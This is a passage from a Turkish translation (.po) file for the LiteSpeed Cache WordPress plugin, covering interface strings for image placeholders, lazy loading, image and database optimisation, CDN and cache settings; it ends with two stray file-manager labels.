msgid "LQIP requests will not be sent for images where both width and height are smaller than these dimensions."
msgstr "Hem genişlik hem de yüksekliği bu boyutlardan daha küçük olan görseller için LQIP istekleri gönderilmez."

#: tpl/page_optm/settings_media.tpl.php:154
msgid "pixels"
msgstr "piksel"

#: tpl/page_optm/settings_media.tpl.php:138
msgid "Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points."
msgstr "Daha büyük sayılar daha yüksek çözünürlüklü yer tutucu oluşturur, ancak sayfa boyutunu artıracak ve daha puan tüketecek daha büyük dosyalara neden olurlar."

#: tpl/page_optm/settings_media.tpl.php:137
msgid "Specify the quality when generating LQIP."
msgstr "LQIP oluştururken kaliteyi belirtin."

#: tpl/page_optm/settings_media.tpl.php:123
msgid "Keep this off to use plain color placeholders."
msgstr "Düz renk yer tutucuları kullanmak için bunu kapalı tutun."

#: tpl/page_optm/settings_media.tpl.php:122
msgid "Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading."
msgstr "Yükleme sırasında responsif görsel ön izlemeleri oluşturmak için QUIC.cloud LQIP (Düşük Kaliteli Görüntü Yer Tutucu) oluşturma servisini kullanın."

#: tpl/page_optm/settings_media.tpl.php:107
msgid "Specify the responsive placeholder SVG color."
msgstr "Responsif yer tutucu SVG rengini belirtin."

#: tpl/page_optm/settings_media.tpl.php:93
msgid "Variables %s will be replaced with the configured background color."
msgstr "%s değişkenleri yapılandırılan renkle değiştirilecektir."

#: tpl/page_optm/settings_media.tpl.php:92
msgid "Variables %s will be replaced with the corresponding image properties."
msgstr "%s değişkenleri ilgili görsel özellikleri ile değiştirilecektir."

#: tpl/page_optm/settings_media.tpl.php:91
msgid "It will be converted to a base64 SVG placeholder on-the-fly."
msgstr "Anında base64 SVG yer tutucuya dönüştürülecektir."

#: tpl/page_optm/settings_media.tpl.php:90
msgid "Specify an SVG to be used as a placeholder when generating locally."
msgstr "Yerel olarak oluştururken kullanmak için bir SVG yer tutucu belirleyin."

#: tpl/page_optm/settings_media_exc.tpl.php:118
msgid "Prevent any lazy load of listed pages."
msgstr "Listedeki sayfalarda geç yüklemeyi engelle."

#: tpl/page_optm/settings_media_exc.tpl.php:104
msgid "Iframes having these parent class names will not be lazy loaded."
msgstr "Ana elemanları bu class isimlerine sahip Iframe çerçevelerinde 'lazy load' kullanılmayacaktır."

#: tpl/page_optm/settings_media_exc.tpl.php:89
msgid "Iframes containing these class names will not be lazy loaded."
msgstr "Bu class isimlerine sahip Iframe çerçevelerinde 'lazy load' kullanılmayacaktır."

#: tpl/page_optm/settings_media_exc.tpl.php:75
msgid "Images having these parent class names will not be lazy loaded."
msgstr "Ana elemanları bu class isimlerine sahip görsellerde 'lazy load' kullanılmayacaktır."

#: tpl/page_optm/entry.tpl.php:31
msgid "LiteSpeed Cache Page Optimization"
msgstr "Litespeed Cache sayfa optimizasyonu"

#: tpl/page_optm/entry.tpl.php:21 tpl/page_optm/settings_media_exc.tpl.php:17
msgid "Media Excludes"
msgstr "Hariç tutulan medya"

#: tpl/page_optm/entry.tpl.php:16 tpl/page_optm/settings_css.tpl.php:31
msgid "CSS Settings"
msgstr "CSS ayarları"

#: tpl/page_optm/settings_css.tpl.php:341
msgid "%s is recommended."
msgstr "%s önerilir."

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Deferred"
msgstr "Ertelendi"

#: tpl/page_optm/settings_css.tpl.php:338
msgid "Default"
msgstr "Varsayılan"

#: tpl/page_optm/settings_html.tpl.php:61
msgid "This can improve the page loading speed."
msgstr "Bu sayfa yükleme sürelerini iyileştirebilir."

#: tpl/page_optm/settings_html.tpl.php:60
msgid "Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth."
msgstr "Görseller, CSS, Javascript vb. dahil olmak üzere dokümandaki tüm URL'ler için DNS ön çözümlemesini otomatik olarak etkinleştir."

#: tpl/banner/new_version_dev.tpl.php:30
msgid "New developer version %s is available now."
msgstr "Yeni geliştirici sürümü %s artık kullanılabilir."

#: tpl/banner/new_version_dev.tpl.php:22
msgid "New Developer Version Available!"
msgstr "Yeni geliştirici sürümü mevcut!"

#: tpl/banner/cloud_news.tpl.php:51 tpl/banner/cloud_promo.tpl.php:73
msgid "Dismiss this notice"
msgstr "Uyarıyı görmezden gel"

#: tpl/banner/cloud_promo.tpl.php:61
msgid "Tweet this"
msgstr "Tweetle"

#: tpl/banner/cloud_promo.tpl.php:45
msgid "Tweet preview"
msgstr "Tweet ön izlemesi"

#: tpl/banner/cloud_promo.tpl.php:40
#: tpl/page_optm/settings_tuning_css.tpl.php:69
#: tpl/page_optm/settings_tuning_css.tpl.php:144
msgid "Learn more"
msgstr "Fazlasını Öğren"

#: tpl/banner/cloud_promo.tpl.php:22
msgid "You just unlocked a promotion from QUIC.cloud!"
msgstr "Az önce QUIC.cloud'dan bir promosyonun kilidini açtınız!"

#: tpl/page_optm/settings_media.tpl.php:274
msgid "The image compression quality setting of WordPress out of 100."
msgstr "100 üzerinden WordPress görsel sıkıştırma kalite ayarı."

#: tpl/img_optm/entry.tpl.php:17 tpl/img_optm/entry.tpl.php:22
#: tpl/img_optm/network_settings.tpl.php:19 tpl/img_optm/settings.tpl.php:19
msgid "Image Optimization Settings"
msgstr "Görsel optimizasyon ayarları"

#: tpl/img_optm/summary.tpl.php:377
msgid "Are you sure to destroy all optimized images?"
msgstr "Tüm optimize edilmiş görselleri yok etmek istediğinize emin misiniz?"

#: tpl/img_optm/summary.tpl.php:360
msgid "Use Optimized Files"
msgstr "Optimize edilmiş dosyaları kullan"

#: tpl/img_optm/summary.tpl.php:359
msgid "Switch back to using optimized images on your site"
msgstr "Sitenizde optimize edilmiş görselleri kullanmaya devam edin"

#: tpl/img_optm/summary.tpl.php:356
msgid "Use Original Files"
msgstr "Orijinal dosyaları kullan"

#: tpl/img_optm/summary.tpl.php:355
msgid "Use original images (unoptimized) on your site"
msgstr "Sitenizde orijinal görselleri (optimize edilmemiş) kullanın"

#: tpl/img_optm/summary.tpl.php:350
msgid "You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available."
msgstr "Orijinal (optimize edilmemiş) veya optimize edilmiş görselleri kullanma seçenekleri arasında hızlıca geçiş yapabilirsiniz. Bu web sitenizdeki normal ve varsa webp sürümündeki tüm görselleri etkileyecektir."

#: tpl/img_optm/summary.tpl.php:347
msgid "Optimization Tools"
msgstr "Optimizasyon araçları"

#: tpl/img_optm/summary.tpl.php:305
msgid "Rescan New Thumbnails"
msgstr "Yeni küçük resimleri tara"

#: tpl/img_optm/summary.tpl.php:289
msgid "Congratulations, all gathered!"
msgstr "Tebrikler, tümü alındı!"

#: tpl/img_optm/summary.tpl.php:293
msgid "What is an image group?"
msgstr "Bir görsel grubu nedir?"

#: tpl/img_optm/summary.tpl.php:241
msgid "Delete all backups of the original images"
msgstr "Orijinal görsellere ait tüm yedekleri sil"

#: tpl/img_optm/summary.tpl.php:217
msgid "Calculate Backups Disk Space"
msgstr "Yedek için kullanılan disk alanını hesapla"

#: tpl/img_optm/summary.tpl.php:108
msgid "Optimization Status"
msgstr "Optimizasyon durumu"

#: tpl/img_optm/summary.tpl.php:69
msgid "Current limit is"
msgstr "Mevcut sınır"

#: tpl/img_optm/summary.tpl.php:68
msgid "To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited."
msgstr "Sunucumuzun sizin sunucunuzla sorunsuz iletişim kurabildiği ve her şeyin düzgün çalıştığından emin olmak için, istek başına izin verilen görsel sayısı ilk bir kaç istekte sınırlıdır."

#: tpl/img_optm/summary.tpl.php:63
msgid "You can request a maximum of %s images at once."
msgstr "Bir seferde en fazla %s görüntü isteyebilirsiniz."

#: tpl/img_optm/summary.tpl.php:58
msgid "Optimize images with our QUIC.cloud server"
msgstr "Görselleri QUIC.cloud sunucumuzla optimize edin"

#: tpl/db_optm/settings.tpl.php:46
msgid "Revisions newer than this many days will be kept when cleaning revisions."
msgstr "Revizyonlar temizlenirken bu süreden daha yeni olan revizyonlar saklanacaktır."

#: tpl/db_optm/settings.tpl.php:44
msgid "Day(s)"
msgstr "Gün"

#: tpl/db_optm/settings.tpl.php:32
msgid "Specify the number of most recent revisions to keep when cleaning revisions."
msgstr "Revizyonlar temizlenirken saklanacak güncel kabul edilecek revizyon sayısını belirtin."

#: tpl/db_optm/entry.tpl.php:24
msgid "LiteSpeed Cache Database Optimization"
msgstr "LiteSpeed Cache veri tabanı optimizasyonu"

#: tpl/db_optm/entry.tpl.php:17 tpl/db_optm/settings.tpl.php:19
msgid "DB Optimization Settings"
msgstr "Veri tabanı optimizasyon seçenekleri"

#: tpl/db_optm/manage.tpl.php:185
msgid "Option Name"
msgstr "SEçenek adı"

#: tpl/db_optm/manage.tpl.php:171
msgid "Database Summary"
msgstr "Veri tabanı özeti"

#: tpl/db_optm/manage.tpl.php:149
msgid "We are good. No table uses MyISAM engine."
msgstr "Her şey yolunda! Hiç bir tablo MyISAM motorunu kullanmıyor."

#: tpl/db_optm/manage.tpl.php:141
msgid "Convert to InnoDB"
msgstr "InnoDB'ye çevir"

#: tpl/db_optm/manage.tpl.php:126
msgid "Tool"
msgstr "Araçlar"

#: tpl/db_optm/manage.tpl.php:125
msgid "Engine"
msgstr "Motor"

#: tpl/db_optm/manage.tpl.php:124
msgid "Table"
msgstr "Tablo"

#: tpl/db_optm/manage.tpl.php:116
msgid "Database Table Engine Converter"
msgstr "Veri tabanı tablo motoru dönüştürücüsü"

#: tpl/db_optm/manage.tpl.php:66
msgid "Clean revisions older than %1$s day(s), excluding %2$s latest revisions"
msgstr "Son %2$s revizyon hariç olmak üzere, %1$s günden daha eski revizyonları temizle"

#: tpl/dash/dashboard.tpl.php:87 tpl/dash/dashboard.tpl.php:806
msgid "Currently active crawler"
msgstr "Şu anki aktif tarayıcı"

#: tpl/dash/dashboard.tpl.php:84 tpl/dash/dashboard.tpl.php:803
msgid "Crawler(s)"
msgstr "Tarayıcı(lar)"

#: tpl/crawler/map.tpl.php:77 tpl/dash/dashboard.tpl.php:80
#: tpl/dash/dashboard.tpl.php:799
msgid "Crawler Status"
msgstr "Tarayıcı durumu"

#: tpl/dash/dashboard.tpl.php:648 tpl/dash/dashboard.tpl.php:692
#: tpl/dash/dashboard.tpl.php:736 tpl/dash/dashboard.tpl.php:780
msgid "Force cron"
msgstr "Cron'a zorla"

#: tpl/dash/dashboard.tpl.php:645 tpl/dash/dashboard.tpl.php:689
#: tpl/dash/dashboard.tpl.php:733 tpl/dash/dashboard.tpl.php:777
msgid "Requests in queue"
msgstr "Sıradaki istekler"

#: tpl/dash/dashboard.tpl.php:59 tpl/dash/dashboard.tpl.php:602
msgid "Private Cache"
msgstr "Özel önbellek"

#: tpl/dash/dashboard.tpl.php:58 tpl/dash/dashboard.tpl.php:601
msgid "Public Cache"
msgstr "Genele açık önbellek"

#: tpl/dash/dashboard.tpl.php:53 tpl/dash/dashboard.tpl.php:596
msgid "Cache Status"
msgstr "Önbellek durumu"

#: tpl/dash/dashboard.tpl.php:571
msgid "Last Pull"
msgstr "Son çekim"

#: tpl/dash/dashboard.tpl.php:519 tpl/img_optm/entry.tpl.php:16
msgid "Image Optimization Summary"
msgstr "Görsel optimizasyon özeti"

#: tpl/dash/dashboard.tpl.php:511
msgid "Refresh page score"
msgstr "Sayfa yenileme puanı"

#: tpl/dash/dashboard.tpl.php:382 tpl/img_optm/summary.tpl.php:54
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Are you sure you want to redetect the closest cloud server for this service?"
msgstr "Bu hizmet için en yakın bulut sunucusunu yeniden tespit etmek istediğinize emin misiniz?"

#: tpl/dash/dashboard.tpl.php:446
msgid "Refresh page load time"
msgstr "Sayfa yükleme süresini yenile"

#: tpl/dash/dashboard.tpl.php:353 tpl/general/online.tpl.php:128
msgid "Go to QUIC.cloud dashboard"
msgstr "QUIC.cloud gösterge paneline gidin"

#: tpl/dash/dashboard.tpl.php:206 tpl/dash/dashboard.tpl.php:711
#: tpl/dash/network_dash.tpl.php:39
msgid "Low Quality Image Placeholder"
msgstr "Düşük kaliteli görsel yer tutucu (LQIP)"

#: tpl/dash/dashboard.tpl.php:182
msgid "Sync data from Cloud"
msgstr "Verileri buluttan eşitle"

#: tpl/dash/dashboard.tpl.php:179
msgid "QUIC.cloud Service Usage Statistics"
msgstr "QUIC.cloud hizmeti kullanım istatistikleri"

#: tpl/dash/dashboard.tpl.php:292 tpl/dash/network_dash.tpl.php:119
msgid "Total images optimized in this month"
msgstr "Bu ay optimize edilen toplam görsel"

#: tpl/dash/dashboard.tpl.php:291 tpl/dash/network_dash.tpl.php:118
msgid "Total Usage"
msgstr "Toplam kullanım"

#: tpl/dash/dashboard.tpl.php:273 tpl/dash/network_dash.tpl.php:111
msgid "Pay as You Go Usage Statistics"
msgstr "Kullandıkça öde kullanım istatistikleri"

#: tpl/dash/dashboard.tpl.php:270 tpl/dash/network_dash.tpl.php:108
msgid "PAYG Balance"
msgstr "PAYG bakiyesi"

#: tpl/dash/network_dash.tpl.php:107
msgid "Pay as You Go"
msgstr "Kullandıkça öde"

#: tpl/dash/dashboard.tpl.php:258 tpl/dash/network_dash.tpl.php:95
msgid "Usage"
msgstr "Kullanım"

#: tpl/dash/dashboard.tpl.php:258 tpl/dash/network_dash.tpl.php:95
msgid "Fast Queue Usage"
msgstr "Hızlı kuyruk kullanımı"

#: tpl/dash/dashboard.tpl.php:205 tpl/dash/network_dash.tpl.php:38
msgid "CDN Bandwidth"
msgstr "CDN bant genişliği"

#: tpl/dash/entry.tpl.php:29
msgid "LiteSpeed Cache Dashboard"
msgstr "LiteSpeed Cache gösterge paneli"

#: tpl/dash/entry.tpl.php:21
msgid "Network Dashboard"
msgstr "Ağ gösterge paneli"

#: tpl/general/online.tpl.php:51
msgid "No cloud services currently in use"
msgstr "Şu an kullanılan bulut hizmeti yok"

#: tpl/general/online.tpl.php:31
msgid "Click to clear all nodes for further redetection."
msgstr "Tekrar tespit amacıyla tüm düğümleri temizlemek için tıklayın."

#: tpl/general/online.tpl.php:30
msgid "Current Cloud Nodes in Service"
msgstr "Hizmette şu an yer alan bulut düğümleri"

#: tpl/cdn/qc.tpl.php:126 tpl/cdn/qc.tpl.php:133 tpl/dash/dashboard.tpl.php:359
#: tpl/general/online.tpl.php:153
msgid "Link to QUIC.cloud"
msgstr "QUIC.cloud ile bağla"

#: tpl/general/entry.tpl.php:17 tpl/general/entry.tpl.php:23
#: tpl/general/network_settings.tpl.php:19 tpl/general/settings.tpl.php:24
msgid "General Settings"
msgstr "Genel Ayarlar"

#: tpl/cdn/other.tpl.php:136
msgid "Specify which HTML element attributes will be replaced with CDN Mapping."
msgstr "CDN Mapping'le değiştirilecek HTML öz niteliklerini belirtin."

#: src/admin-display.cls.php:475
msgid "Add new CDN URL"
msgstr "Yeni bir CDN URL'si ekle"

#: src/admin-display.cls.php:474
msgid "Remove CDN URL"
msgstr "CDN URL'sini çıkart"

#: tpl/cdn/cf.tpl.php:102
msgid "To enable the following functionality, turn ON Cloudflare API in CDN Settings."
msgstr "Aşağıdaki işlevleri etkinleştirmek için CDN ayarlarında Cloudflare API'yı AÇIK konuma getirin."

#: tpl/cdn/entry.tpl.php:14
msgid "QUIC.cloud"
msgstr "QUIC.cloud"

#: thirdparty/woocommerce.content.tpl.php:18
msgid "WooCommerce Settings"
msgstr "WooCommerce Ayarları"

#: src/gui.cls.php:638 src/gui.cls.php:820
#: tpl/page_optm/settings_media.tpl.php:141 tpl/toolbox/purge.tpl.php:100
msgid "LQIP Cache"
msgstr "LQIP ön belleği"

#: src/admin-settings.cls.php:297 src/admin-settings.cls.php:333
msgid "Options saved."
msgstr "Seçenekler kaydedildi."

#: src/img-optm.cls.php:1745
msgid "Removed backups successfully."
msgstr "Yedekler başarıyla temizlendi."

#: src/img-optm.cls.php:1653
msgid "Calculated backups successfully."
msgstr "Yedekler başarıyla hesaplandı."

#: src/img-optm.cls.php:1587
msgid "Rescanned %d images successfully."
msgstr "%d görsel başarıyla yeniden tarandı."

#: src/img-optm.cls.php:1523 src/img-optm.cls.php:1587
msgid "Rescanned successfully."
msgstr "Başarıyla yeniden tarandı."

#: src/img-optm.cls.php:1458
msgid "Destroy all optimization data successfully."
msgstr "Tüm optimizasyon verileri başarıyla yok edildi."

#: src/img-optm.cls.php:1357
msgid "Cleaned up unfinished data successfully."
msgstr "Tamamlanmamış veriler başarıyla temizlendi."

#: src/img-optm.cls.php:976
msgid "Pull Cron is running"
msgstr "Çekme Cron'u çalışıyor"

#: src/img-optm.cls.php:700
msgid "No valid image found by Cloud server in the current request."
msgstr "Bulut sunucusu tarafından bu istekte uygun görsel bulunamadı."

#: src/img-optm.cls.php:675
msgid "No valid image found in the current request."
msgstr "Bu istekte uygun görsel bulunamadı."

#: src/img-optm.cls.php:350
msgid "Pushed %1$s to Cloud server, accepted %2$s."
msgstr "Cloud sunucusuna %1$s gönderildi, %2$s kabul edildi."

#: src/lang.cls.php:267
msgid "Revisions Max Age"
msgstr "Maks. revizyon ömrü"

#: src/lang.cls.php:266
msgid "Revisions Max Number"
msgstr "Maks. revizyon sayısı"

#: src/lang.cls.php:263
msgid "Debug URI Excludes"
msgstr "Hariç tutulan URI'ler hata ayıklaması"

#: src/lang.cls.php:262
msgid "Debug URI Includes"
msgstr "Dahil edilen URI'ler hata ayıklaması"

#: src/lang.cls.php:242
msgid "HTML Attribute To Replace"
msgstr "Değiştirilecek HTML öz niteliği"

#: src/lang.cls.php:236
msgid "Use CDN Mapping"
msgstr "CDN Eşleme'yi kullan"

#: src/lang.cls.php:234
msgid "Editor Heartbeat TTL"
msgstr "Düzenleyici heartbeat TTL"

#: src/lang.cls.php:233
msgid "Editor Heartbeat"
msgstr "Düzenleyici heartbeat"

#: src/lang.cls.php:232
msgid "Backend Heartbeat TTL"
msgstr "Yönetim paneli heartbeat TTL"

#: src/lang.cls.php:231
msgid "Backend Heartbeat Control"
msgstr "Yönetim paneli heartbeat kontrolü"

#: src/lang.cls.php:230
msgid "Frontend Heartbeat TTL"
msgstr "Ön yüz heartbeat TTL"

#: src/lang.cls.php:229
msgid "Frontend Heartbeat Control"
msgstr "Kullanıcı ön yüzü heartbeat kontrolü"

#: tpl/toolbox/edit_htaccess.tpl.php:71
msgid "Backend .htaccess Path"
msgstr "Yönetim paneli .htaccess yolu"

#: tpl/toolbox/edit_htaccess.tpl.php:53
msgid "Frontend .htaccess Path"
msgstr "Ön yüz .htaccess yolu"

#: src/lang.cls.php:219
msgid "ESI Nonces"
msgstr "ESI Nonce anahtarları"

#: src/lang.cls.php:215
msgid "WordPress Image Quality Control"
msgstr "WordPress görüntü kalitesi kontrolü"

#: src/lang.cls.php:206
msgid "Auto Request Cron"
msgstr "Cron ile otomatik talep"

#: src/lang.cls.php:199
msgid "Generate LQIP In Background"
msgstr "LQIP'leri arka planda oluştur"

#: src/lang.cls.php:197
msgid "LQIP Minimum Dimensions"
msgstr "LQIP minimum boyutları"

#: src/lang.cls.php:196
msgid "LQIP Quality"
msgstr "LQIP Kalitesi"

#: src/lang.cls.php:195
msgid "LQIP Cloud Generator"
msgstr "LQIP Bulut oluşturucu"

#: src/lang.cls.php:194
msgid "Responsive Placeholder SVG"
msgstr "Reponsif yer tutucu SVG"

#: src/lang.cls.php:193
msgid "Responsive Placeholder Color"
msgstr "Reponsif yer tutucu rengi"

#: src/lang.cls.php:191
msgid "Basic Image Placeholder"
msgstr "Temel görsel yer tutucusu"

#: src/lang.cls.php:189
msgid "Lazy Load URI Excludes"
msgstr "Geç yüklemeden hariç tutulacak URI'ler"

#: src/lang.cls.php:188
msgid "Lazy Load Iframe Parent Class Name Excludes"
msgstr "Geç yüklemeden hariç tutulacak Iframeler için ana eleman class adları"

#: src/lang.cls.php:187
msgid "Lazy Load Iframe Class Name Excludes"
msgstr "Geç yüklemeden hariç tutulacak Iframe'ler için class adları"

#: src/lang.cls.php:186
msgid "Lazy Load Image Parent Class Name Excludes"
msgstr "Geç yüklemeden hariç tutulacak görseller için ana eleman class isimleri"

#: src/lang.cls.php:181
msgid "Gravatar Cache TTL"
msgstr "Gravatar ön belleği TTL"

#: src/lang.cls.php:180
msgid "Gravatar Cache Cron"
msgstr "Gravatar ön belleği cron"

#: src/gui.cls.php:648 src/gui.cls.php:830 src/lang.cls.php:179
#: tpl/presets/standard.tpl.php:49 tpl/toolbox/purge.tpl.php:109
msgid "Gravatar Cache"
msgstr "Gravatar ön belleği"

#: src/lang.cls.php:159
msgid "DNS Prefetch Control"
msgstr "DNS ön çözümleme kontrolü"

#: src/lang.cls.php:154 tpl/presets/standard.tpl.php:46
msgid "Font Display Optimization"
msgstr "Yazı tipi görünüm optimizasyonu"

#: src/lang.cls.php:131
msgid "Force Public Cache URIs"
msgstr "Genele açık önbellek URI'lerini zorla"

#: src/lang.cls.php:102
msgid "Notifications"
msgstr "Bildirimler"

#: src/lang.cls.php:96
msgid "Default HTTP Status Code Page TTL"
msgstr "Varsayılan HTTP durum kodu sayfası TTL"

#: src/lang.cls.php:95
msgid "Default REST TTL"
msgstr "Varsayılan REST TTL"

#: src/lang.cls.php:89
msgid "Enable Cache"
msgstr "Ön belleği etkinleştir"

#: src/cloud.cls.php:239 src/cloud.cls.php:291 src/


📤 Upload File


📁 Create Folder